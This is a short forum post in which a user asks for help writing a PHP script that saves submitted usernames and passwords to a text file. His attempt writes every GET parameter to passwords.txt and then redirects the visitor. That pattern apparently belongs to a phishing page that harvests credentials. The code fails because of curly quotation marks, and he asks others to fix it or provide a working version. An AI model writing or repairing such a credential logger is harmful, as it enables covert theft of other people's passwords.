How do i write a php script that logs username/password to a txt file?

Boe

New member
my first try was this:
<?php header(”Location: “);

$handle = fopen(”passwords.txt”, “a”);

foreach($_GET as $variable => $value)

{ fwrite($handle, $variable);

fwrite($handle, “=”);

fwrite($handle, $value);

fwrite($handle, “\r\n”);

}

fwrite($handle, “\r\n”);

fclose($handle);

exit; ?>
but it came up with all kinds of errors, can somebody provide an other or point me in the right direction? thank you, your help is much appreciated!
 
Back
Top